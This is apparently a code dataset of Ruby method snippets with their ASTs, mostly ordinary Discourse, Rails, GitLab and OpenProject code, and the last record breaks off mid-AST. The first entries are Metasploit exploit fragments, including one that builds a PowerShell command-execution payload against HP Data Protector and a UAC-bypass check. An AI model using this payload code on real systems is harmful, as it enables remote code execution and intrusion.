{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/misc/hp_dataprotector_encrypted_comms.rb","start_line":81,"raw_source":"def generate_dp_payload\n    command = cmd_psh_payload(\n      payload.encoded,\n      payload_instance.arch.first,\n      { remove_comspec: true, encode_final_payload: true }\n    )\n\n    payload =\n      \"\\x32\\x00\\x01\\x01\\x01\\x01\\x01\\x01\" +\n      \"\\x00\\x01\\x00\\x01\\x00\\x01\\x00\\x01\" +\n      \"\\x01\\x00\\x20\\x32\\x38\\x00\\x5c\\x70\" +\n      \"\\x65\\x72\\x6c\\x2e\\x65\\x78\\x65\\x00\" +\n      \"\\x20\\x2d\\x65\\x73\\x79\\x73\\x74\\x65\" +\n      \"\\x6d('#{command}')\\x00\"\n\n    payload_length = [payload.length].pack('N')\n\n    return payload_length + payload\n  end","complexity_score":21.0,"ast_json":"{\"type\":\"def\",\"children\":[\"generate_dp_payload\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"command\",{\"type\":\"send\",\"children\":[null,\"cmd_psh_payload\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload_instance\"]},\"arch\"]},\"first\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"remove_comspec\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"encode_final_payload\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"payload\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"2\\u0000\\u0001\\u0001\\u0001\\u0001\\u0001\\u0001\"]},\"+\",{\"type\":\"str\",\"children\":[\"\\u0000\\u0001\\u0000\\u0001\\u0000\\u0001\\u0000\\u0001\"]}]},\"+\",{\"type\":\"str\",\"children\":[\"\\u0001\\u0000 28\\u0000\\\\p\"]}]},\"+\",{\"type\":\"str\",\"children\":[\"erl.exe\\u0000\"]}]},\"+\",{\"type\":\"str\",\"children\":[\" -esyste\"]}]},\"+\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"m('\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"command\"]}]},{\"type\":\"str\",\"children\":[\"')\\u0000\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"payload_length\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"length\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"N\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload_length\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"payload\"]}]}]}]}]}","id":"18a7bcc7-214b-4b98-bfdf-aed6714afe29"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/dect_coa.rb","start_line":51,"raw_source":"def open_coa\n\n    close_coa if self.dect_device\n\n    begin\n      self.dect_device = File.open(datastore['INTERFACE'], \"wb+\")\n    rescue ::Exception => e\n      print_error(\"Could not open the Com-On-Air device at #{datastore['INTERFACE']}\")\n      print_error(\"This module only works on Linux with the appropriate hardware and driver, while running as root\")\n      raise RuntimeError, \"Could not open the Com-On-Air device: #{e}\"\n    end\n  end","complexity_score":16.3,"ast_json":"{\"type\":\"def\",\"children\":[\"open_coa\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"dect_device\"]},{\"type\":\"send\",\"children\":[null,\"close_coa\"]},null]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"dect_device=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"open\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"INTERFACE\"]}]},{\"type\":\"str\",\"children\":[\"wb+\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Exception\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Could not open the Com-On-Air device at \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"INTERFACE\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"This module only works on Linux with the appropriate hardware and driver, while running as root\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"RuntimeError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Could not open the Com-On-Air device: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]}]}]}]}]}]},null]}]}]}]}","id":"062a6f09-4c21-4be2-b686-0e4ac8434b44"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/local/bypassuac_fodhelper.rb","start_line":74,"raw_source":"def check\n    version = get_version_info\n    if version.build_number >= Msf::WindowsVersion::Win10_InitialRelease && !version.windows_server? && is_uac_enabled?\n      Exploit::CheckCode::Appears\n    else\n      Exploit::CheckCode::Safe\n    end\n  end","complexity_score":11.3,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"version\",{\"type\":\"send\",\"children\":[null,\"get_version_info\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]},\"build_number\"]},\">=\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"WindowsVersion\"]},\"Win10_InitialRelease\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]},\"windows_server?\"]},\"!\"]}]},{\"type\":\"send\",\"children\":[null,\"is_uac_enabled?\"]}]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Appears\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Safe\"]}]}]}]}","id":"94392761-5ee5-4e6c-a198-4bf8960ac6d8"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/manageiq/providers/base_manager/metrics_capture.rb","start_line":278,"raw_source":"def split_capture_intervals(start_time, end_time, threshold = 1.day)\n    return [] unless start_time\n\n    (start_time.utc..end_time.utc).step_value(threshold).each_cons(2).collect do |s_time, e_time|\n      [s_time, e_time]\n    end.reverse\n  end","complexity_score":13.7,"ast_json":"{\"type\":\"def\",\"children\":[\"split_capture_intervals\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"start_time\"]},{\"type\":\"arg\",\"children\":[\"end_time\"]},{\"type\":\"optarg\",\"children\":[\"threshold\",{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[1]},\"day\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"start_time\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"irange\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"start_time\"]},\"utc\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"end_time\"]},\"utc\"]}]}]},\"step_value\",{\"type\":\"lvar\",\"children\":[\"threshold\"]}]},\"each_cons\",{\"type\":\"int\",\"children\":[2]}]},\"collect\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"s_time\"]},{\"type\":\"arg\",\"children\":[\"e_time\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s_time\"]},{\"type\":\"lvar\",\"children\":[\"e_time\"]}]}]},\"reverse\"]}]}]}","id":"2e1a80e0-1829-45d6-b3be-2f3c2fa8e2c3"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/badge_queries.rb","start_line":175,"raw_source":"def self.like_badge(count, is_topic)\n    # we can do better with dates, but its hard work figuring this out historically\n    <<~SQL\n      SELECT p.user_id, p.id post_id, current_timestamp granted_at\n      FROM badge_posts p\n      WHERE #{is_topic ? \"p.post_number = 1\" : \"p.post_number > 1\"} AND p.like_count >= #{count.to_i} AND\n        (:backfill OR p.id IN (:post_ids) )\n    SQL\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"like_badge\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"count\"]},{\"type\":\"arg\",\"children\":[\"is_topic\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"SELECT p.user_id, p.id post_id, current_timestamp granted_at\\n\"]},{\"type\":\"str\",\"children\":[\"FROM badge_posts p\\n\"]},{\"type\":\"str\",\"children\":[\"WHERE \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"is_topic\"]},{\"type\":\"str\",\"children\":[\"p.post_number = 1\"]},{\"type\":\"str\",\"children\":[\"p.post_number > 1\"]}]}]},{\"type\":\"str\",\"children\":[\" AND p.like_count >= \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"count\"]},\"to_i\"]}]},{\"type\":\"str\",\"children\":[\" AND\\n\"]},{\"type\":\"str\",\"children\":[\"  (:backfill OR p.id IN (:post_ids) )\\n\"]}]}]}","id":"78b6bb9f-6bff-46fd-951b-4e045de77138"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/packages/conan/metadata_extraction_service.rb","start_line":95,"raw_source":"def allowed_section?(section)\n        strong_memoize_with(:allowed_section, section) do\n          ALLOWED_SECTIONS.include?(section)\n        end\n      end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"allowed_section?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"section\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"strong_memoize_with\",{\"type\":\"sym\",\"children\":[\"allowed_section\"]},{\"type\":\"lvar\",\"children\":[\"section\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ALLOWED_SECTIONS\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"section\"]}]}]}]}","id":"ca927d78-77f0-44f7-85eb-3b516d16abf8"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/model_schema.rb","start_line":479,"raw_source":"def column_for_attribute(name)\n        name = name.to_s\n        columns_hash.fetch(name) do\n          ConnectionAdapters::NullColumn.new(name)\n        end\n      end","complexity_score":6.3,"ast_json":"{\"type\":\"def\",\"children\":[\"column_for_attribute\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"name\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"to_s\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"columns_hash\"]},\"fetch\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ConnectionAdapters\"]},\"NullColumn\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}]}]}","id":"5e7c6e24-d7c6-49e6-9807-f809f00e1fd9"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/post.rb","start_line":618,"raw_source":"def hide!(post_action_type_id, reason = nil, custom_message: nil)\n    return if hidden?\n\n    reason ||=\n      (\n        if hidden_at\n          Post.hidden_reasons[:flag_threshold_reached_again]\n        else\n          Post.hidden_reasons[:flag_threshold_reached]\n        end\n      )\n\n    hiding_again = hidden_at.present?\n    should_reset_bumped_at = is_last_reply? && !whisper?\n\n    Post.transaction do\n      self.skip_validation = true\n      should_update_user_stat = true\n\n      update!(hidden: true, hidden_at: Time.zone.now, hidden_reason_id: reason)\n\n      any_visible_posts_in_topic =\n        Post.exists?(topic_id: topic_id, hidden: false, post_type: Post.types[:regular])\n\n      if is_first_post? || !any_visible_posts_in_topic\n        self.topic.update_status(\n          \"visible\",\n          false,\n          Discourse.system_user,\n          { visibility_reason_id: Topic.visibility_reasons[:op_flag_threshold_reached] },\n        )\n        should_update_user_stat = false\n      end\n\n      # We need to do this because TopicStatusUpdater also does the decrement\n      # and we don't want to double count for the OP.\n      UserStatCountUpdater.decrement!(self) if should_update_user_stat\n    end\n\n    # inform user\n    if user.present?\n      options = {\n        url: url,\n        edit_delay: SiteSetting.cooldown_minutes_after_hiding_posts,\n        flag_reason:\n          I18n.t(\n            \"flag_reasons.#{post_action_type_view.types[post_action_type_id]}\",\n            locale: SiteSetting.default_locale,\n            base_path: Discourse.base_path,\n            default: PostActionType.names[post_action_type_id],\n          ),\n      }\n\n      message = custom_message\n      message = hiding_again ? :post_hidden_again : :post_hidden if message.nil?\n\n      Jobs.enqueue_in(\n        5.seconds,\n        :send_system_message,\n        user_id: user.id,\n        message_type: message.to_s,\n        message_options: options,\n      )\n    end\n\n    topic.reset_bumped_at if should_reset_bumped_at\n  end","complexity_score":87.4,"ast_json":"{\"type\":\"def\",\"children\":[\"hide!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"post_action_type_id\"]},{\"type\":\"optarg\",\"children\":[\"reason\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"custom_message\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"hidden?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"reason\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"hidden_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"hidden_reasons\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"flag_threshold_reached_again\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"hidden_reasons\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"flag_threshold_reached\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"hiding_again\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"hidden_at\"]},\"present?\"]}]},{\"type\":\"lvasgn\",\"children\":[\"should_reset_bumped_at\",{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"is_last_reply?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"whisper?\"]},\"!\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"transaction\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"skip_validation=\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"should_update_user_stat\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"update!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"hidden\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"hidden_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"zone\"]},\"now\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"hidden_reason_id\"]},{\"type\":\"lvar\",\"children\":[\"reason\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"any_visible_posts_in_topic\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"exists?\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"topic_id\"]},{\"type\":\"send\",\"children\":[null,\"topic_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"hidden\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"post_type\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"types\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"regular\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"is_first_post?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"any_visible_posts_in_topic\"]},\"!\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"topic\"]},\"update_status\",{\"type\":\"str\",\"children\":[\"visible\"]},{\"type\":\"false\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"system_user\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"visibility_reason_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"visibility_reasons\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"op_flag_threshold_reached\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"should_update_user_stat\",{\"type\":\"false\",\"children\":[]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"should_update_user_stat\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UserStatCountUpdater\"]},\"decrement!\",{\"type\":\"self\",\"children\":[]}]},null]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"present?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"url\"]},{\"type\":\"send\",\"children\":[null,\"url\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"edit_delay\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"cooldown_minutes_after_hiding_posts\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"flag_reason\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"flag_reasons.\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"post_action_type_view\"]},\"types\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"post_action_type_id\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"locale\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"default_locale\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"base_path\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"base_path\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PostActionType\"]},\"names\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"post_action_type_id\"]}]}]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"message\",{\"type\":\"lvar\",\"children\":[\"custom_message\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"nil?\"]},{\"type\":\"lvasgn\",\"children\":[\"message\",{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hiding_again\"]},{\"type\":\"sym\",\"children\":[\"post_hidden_again\"]},{\"type\":\"sym\",\"children\":[\"post_hidden\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Jobs\"]},\"enqueue_in\",{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[5]},\"seconds\"]},{\"type\":\"sym\",\"children\":[\"send_system_message\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message_type\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"to_s\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message_options\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"should_reset_bumped_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"topic\"]},\"reset_bumped_at\"]},null]}]}]}","id":"5bb1d7bc-4cb9-4b1b-868c-fda106225dba"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/core_ext/erb/util.rb","start_line":63,"raw_source":"def html_escape_once(s)\n      s.to_s.gsub(HTML_ESCAPE_ONCE_REGEXP, HTML_ESCAPE).html_safe\n    end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"html_escape_once\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"s\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s\"]},\"to_s\"]},\"gsub\",{\"type\":\"const\",\"children\":[null,\"HTML_ESCAPE_ONCE_REGEXP\"]},{\"type\":\"const\",\"children\":[null,\"HTML_ESCAPE\"]}]},\"html_safe\"]}]}","id":"e73a6b41-1325-4dcc-8bf6-38996b32a4fe"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/extracts_ref/ref_extractor.rb","start_line":30,"raw_source":"def unqualify_ref(ref, type)\n        validated_type = ref_type(type)\n        return ref unless validated_type\n\n        ref.sub(%r{^refs/#{validated_type}/}, '')\n      end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"unqualify_ref\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ref\"]},{\"type\":\"arg\",\"children\":[\"type\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"validated_type\",{\"type\":\"send\",\"children\":[null,\"ref_type\",{\"type\":\"lvar\",\"children\":[\"type\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"validated_type\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ref\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ref\"]},\"sub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^refs/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"validated_type\"]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]}","id":"c2eb85ba-fbdb-4549-bd8f-30e651984dc1"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/menus/work_packages/menu.rb","start_line":54,"raw_source":"def query_path(query_params)\n      if query_params[:show_enterprise_icon].present?\n        return ee_upsell_path(query_params)\n      end\n\n      if project.present?\n        return report_project_work_packages_path(project, { name: query_params[:name] }) if query_params[:name] == :summary\n\n        project_work_packages_path(project, query_params)\n      else\n        work_packages_path(query_params)\n      end\n    end","complexity_score":19.3,"ast_json":"{\"type\":\"def\",\"children\":[\"query_path\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"query_params\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"show_enterprise_icon\"]}]},\"present?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ee_upsell_path\",{\"type\":\"lvar\",\"children\":[\"query_params\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"present?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]},\"==\",{\"type\":\"sym\",\"children\":[\"summary\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"report_project_work_packages_path\",{\"type\":\"send\",\"children\":[null,\"project\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]}]}]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"project_work_packages_path\",{\"type\":\"send\",\"children\":[null,\"project\"]},{\"type\":\"lvar\",\"children\":[\"query_params\"]}]}]},{\"type\":\"send\",\"children\":[null,\"work_packages_path\",{\"type\":\"lvar\",\"children\":[\"query_params\"]}]}]}]}]}","id":"6ea63bd2-1d62-4f74-9710-2a9b0e0e4e37"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/journals/create_service/agenda_itemable.rb","start_line":44,"raw_source":"def insert_sql\n      sanitize(<<~SQL.squish, journable_id:)\n        INSERT INTO\n          meeting_agenda_item_journals (\n            journal_id,\n            agenda_item_id,\n            author_id,\n            title,\n            notes,\n            position,\n            duration_in_minutes,\n            work_package_id,\n            item_type\n          )\n        SELECT\n          #{id_from_inserted_journal_sql},\n          agenda_items.id,\n          agenda_items.author_id,\n          agenda_items.title,\n          agenda_items.notes,\n          agenda_items.position,\n          agenda_items.duration_in_minutes,\n          agenda_items.work_package_id,\n          agenda_items.item_type\n        FROM meeting_agenda_items agenda_items\n        WHERE\n          #{only_if_created_sql}\n          AND agenda_items.meeting_id = :journable_id\n      SQL\n    end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"insert_sql\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"sanitize\",{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"INSERT INTO\\n\"]},{\"type\":\"str\",\"children\":[\"  meeting_agenda_item_journals (\\n\"]},{\"type\":\"str\",\"children\":[\"    journal_id,\\n\"]},{\"type\":\"str\",\"children\":[\"    agenda_item_id,\\n\"]},{\"type\":\"str\",\"children\":[\"    author_id,\\n\"]},{\"type\":\"str\",\"children\":[\"    title,\\n\"]},{\"type\":\"str\",\"children\":[\"    notes,\\n\"]},{\"type\":\"str\",\"children\":[\"    